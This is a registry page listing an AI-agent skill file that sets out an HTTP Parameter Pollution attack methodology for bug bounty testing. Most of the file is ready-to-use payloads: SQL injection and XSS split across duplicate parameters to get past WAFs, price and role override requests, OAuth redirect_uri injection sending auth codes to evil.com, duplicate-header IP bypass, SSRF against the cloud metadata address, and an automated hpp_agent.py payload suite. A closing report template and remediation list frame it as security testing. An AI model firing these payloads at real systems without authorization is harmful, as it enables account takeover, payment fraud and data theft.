hpp-hunter
Skill37 starsChanged 5 months agoMITView on GitHub
Complete HTTP Parameter Pollution methodology server behavior fingerprinting, server-side and client-side HPP, WAF bypass via parameter splitting, OAuth/payment/access-control abuse, header and JSON body pollution, and report structure. Trigger when the user wants to test for HTTP Parameter Pollution, is trying to bypass a WAF with a known-blocked payload, sees a payment/role/redirect parameter and wants to test override attacks, or is testing OAuth flows for redirect_uri manipulation.
- Installs packages
In this repository38 other files it gives its agents.
- ad-breachSkill
- ai-llm-hunterSkill
- attack-surfaceSkill
- bugbounty-reporterSkill
- cavemanSkill
- check-exploitSkill
- clickjacking-hunterSkill
- compliance-gap-analyzerSkill
- control-lookupSkill
- ctf-writeupSkill
- cvss-scorerSkill
- deadangleSkill
- droid-reconSkill
- economist-attackSkill
- engagement-handoffSkill
- finding-writerSkill
- find-skillsSkill
- graphql-raiderSkill
- hexstrike-forgeSkill
- high-severity-hunterSkill
- idor-hunterSkill
- js-analyzerSkill
- jwt-crackerSkill
- less-aggressive-attackSkill
- less-noise-attackSkill
- nuclei-template-writerSkill
- pentest-reportSkill
- redirect-forgeSkill
- redmindSkill
- remediation-plannerSkill
- risk-assessorSkill
- scope-grillSkill
- skill-benchmarkSkill
- ssrf-hunterSkill
- ssti-hunterSkill
- vuln-diagnoseSkill
- xss-hunterSkill
- xxe-phantomSkill
The file
We split this skill into the rules it gives an agent
4 rules. About 0 are common, 4 are distinctive, and 0 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈4
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 18
Before testing anything, determine how the target processes duplicate parameters.
- Distinctive: line 24
Check which value appears in the response:
- Distinctive: line 58
If the back-end uses the last value but the WAF inspects the first:
- Distinctive: line 212
Test with both orderings and compare responses.
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
HPP Hunter
HTTP Parameter Pollution (HPP) exploits how different server technologies handle duplicate HTTP parameters in inconsistent ways. The same request can be interpreted differently by a WAF, a front-end proxy, and a back-end application — creating bypasses, logic flaws, and privilege escalation paths.
Phase 1 — Fingerprint Parameter Handling
Before testing anything, determine how the target processes duplicate parameters. This governs every attack that follows.
Manual fingerprint
GET /search?color=red&color=blueCheck which value appears in the response:
| Result | Behavior |
Only red | First-wins |
Only blue | Last-wins |
red,blue or red blue | Concatenation |
| Array / both visible | Array |
| Error or unexpected | Worth digging deeper |
Technology reference (see references/server-behavior.md for full table)
| Technology | Duplicate behavior |
| PHP / Apache | Last value wins |
| ASP.NET / IIS | All values joined with , |
| JSP / Tomcat | First value wins |
| Node.js / Express | Array (req.query.p = ['a','b']) |
| Python / Flask | First value wins |
| Python / Django | Last value wins |
| Ruby / Rails | Last value wins |
| Go / net/http | First value wins |
| Nginx (proxy) | Passes all — back-end decides |
Automated fingerprint
python scripts/hpp_agent.py precedence --url https://target.com/search --param qPhase 2 — Server-Side HPP
2.1 Parameter precedence abuse
If the back-end uses the last value but the WAF inspects the first:
GET /api/user?role=user&role=admin
POST /api/transfer
amount=1000&account=victim&account=attacker2.2 Payload splitting for WAF bypass
WAF inspects each parameter value independently — split the payload so no single value triggers a rule:
# SQLi split across two parameters (server concatenates them)
GET /search?q=1' UNION &q=SELECT password FROM users--
# XSS split
GET /search?q=<script>&q=alert(document.cookie)</script>
# Works on ASP.NET/IIS (concatenation) — verify behavior first2.3 Security parameter override
# Price override (e-commerce)
POST /checkout
item=product&price=199.99&quantity=1&price=0.01
# Role override
POST /api/update-profile
user_id=123&role=user&role=admin
# Status override
POST /api/order
order_id=555&status=pending&status=fulfilled2.4 Access control bypass
Some frameworks merge parameters from different sources (query string + body). Send conflicting values:
GET /api/admin/delete?user_id=attacker_id
POST body: user_id=victim_id
# If server merges query + body with different precedence rules → unexpected behaviorPhase 3 — Client-Side HPP
Client-side HPP injects parameters into URLs that the application reflects into links, forms, or API calls — then sends to other users or services.
3.1 URL-encoded parameter injection
The %26 (&) in a value gets reflected into a link as a real &, injecting a new parameter:
# Application builds: <a href="/share?url=USER_INPUT">
# Inject:
GET /page?url=https://legit.com%26utm_source=evil%26redirect=https://evil.com
# Application renders:
<a href="/share?url=https://legit.com&utm_source=evil&redirect=https://evil.com">3.2 OAuth redirect_uri injection
GET /oauth/authorize?
client_id=app&
redirect_uri=https://legit.com/callback&
redirect_uri=https://evil.com/steal&
response_type=code
# If the server uses the last redirect_uri → auth code sent to attacker3.3 Social sharing / callback URL injection
GET /share?url=https://news.example.com%26callback=https://evil.com/capture
GET /webhook/register?endpoint=https://legit.com%26endpoint=https://evil.com3.4 Link injection via reflected params
# If the app reflects params into hrefs:
GET /invite?next=https://app.com/dashboard%26admin=true
# Rendered as:
<a href="https://app.com/dashboard&admin=true">Continue</a>Phase 4 — WAF Bypass via HPP
4.1 Duplicate parameter bypass
# WAF blocks: id=1' OR '1'='1
# HPP bypass (first-wins WAF, last-wins back-end):
GET /api/user?id=1&id=1' OR '1'='1
# HPP bypass (last-wins WAF, first-wins back-end):
GET /api/user?id=1' OR '1'='1&id=14.2 Array syntax bypass
GET /search?q[]=safe&q[]=<script>alert(1)</script>
POST body: id[]=1&id[]=1 OR 1=14.3 Encoding variations
id=1%26admin%3Dtrue → URL-encoded & and = inside value
id=1%00&admin=true → Null byte before real separator
search=safe%0d%0aX-Admin:true → CRLF header injection via param4.4 Automated WAF bypass test
python scripts/hpp_agent.py waf \
--url https://target.com/search \
--param q \
--value "' OR '1'='1"Phase 5 — Header & Body Pollution
5.1 HTTP header pollution
Duplicate headers are handled inconsistently by proxies, load balancers, and back-ends:
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: attacker-ip
# If back-end trusts last X-Forwarded-For and proxy forwards both →
# IP allowlist bypass, rate limit bypassOther high-value headers to duplicate:
X-Original-URL: /
X-Original-URL: /admin
Host: legit.com
Host: internal.service
X-HTTP-Method-Override: GET
X-HTTP-Method-Override: DELETE5.2 JSON body pollution
Some parsers use the last key, others the first — behavior mirrors server tech:
{"user_id": 123, "role": "user", "role": "admin"}
{"price": 99.99, "price": 0.01}Test with both orderings and compare responses.
5.3 Multipart / mixed-source pollution
Some frameworks merge parameters from query string and body with different precedence:
GET /api/transfer?to_account=attacker
POST body: to_account=victim&amount=1000
# If query takes precedence over body → transfer goes to attackerPhase 6 — High-Value Attack Scenarios
OAuth token theft
# Provider uses last redirect_uri, validator checks first → attacker gets code
/oauth/authorize?client_id=X&redirect_uri=https://legit.com&redirect_uri=https://evil.comPayment bypass
POST /checkout
product_id=1&price=999¤cy=USD&price=0.01
# If processor uses last price → charged $0.01Coupon stacking
POST /apply-discount
code=SAVE10&code=SAVE50&code=FREE100
# If all codes applied → unintended discountPrivilege escalation
POST /api/register
username=alice&role=user&role=admin
# If last value used for role assignmentSSRF via HPP
Combine with SSRF-prone parameters:
GET /proxy?url=https://legit.com&url=http://169.254.169.254/latest/meta-data/Phase 7 — Automation
pip install requests
# Fingerprint how the server handles duplicate parameters
python scripts/hpp_agent.py precedence --url https://target.com/api/search --param q
# Run full HPP payload suite (GET or POST)
python scripts/hpp_agent.py test --url https://target.com/api/search --method GET
python scripts/hpp_agent.py test --url https://target.com/api/action --method POST
# Test WAF bypass with a known-blocked payload
python scripts/hpp_agent.py waf --url https://target.com/search --param q --value "' OR 1=1--"Phase 8 — Report Structure
Title: HTTP Parameter Pollution on [endpoint] allows [WAF bypass / privilege escalation / payment manipulation]
Severity: [Critical / High / Medium]
Affected endpoint: [METHOD] [URL]
Server behavior: [first-wins / last-wins / concatenation / array]
Steps to reproduce:
1. Send: [exact HTTP request with duplicate parameters]
2. Observe: [what the server returned vs. expected behavior]
Impact:
- [e.g. "WAF SQLi rule bypassed — attacker can enumerate the users table"]
- [e.g. "Price parameter overridden — item purchased for $0.01"]
Evidence:
- Baseline request: [normal request and response]
- HPP request: [duplicate-param request and anomalous response]
Remediation:
- Reject requests containing duplicate parameter names at the input layer
- If duplicates must be accepted, enforce strict first-occurrence-only policy consistently across all layers
- Ensure WAF and back-end use identical parameter parsing logic
- Validate all security-critical parameters (role, price, redirect_uri) server-side after mergingQuick Priority Order
- OAuth redirect_uri — auth code theft, Critical if exploitable
- Payment / pricing parameters — direct financial impact
- Role / permission parameters — privilege escalation
- WAF bypass — enables chaining with SQLi/XSS that were previously blocked
- X-Forwarded-For / Host header duplication — IP bypass, routing abuse
- Client-side reflected HPP — lower severity, needs victim interaction
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

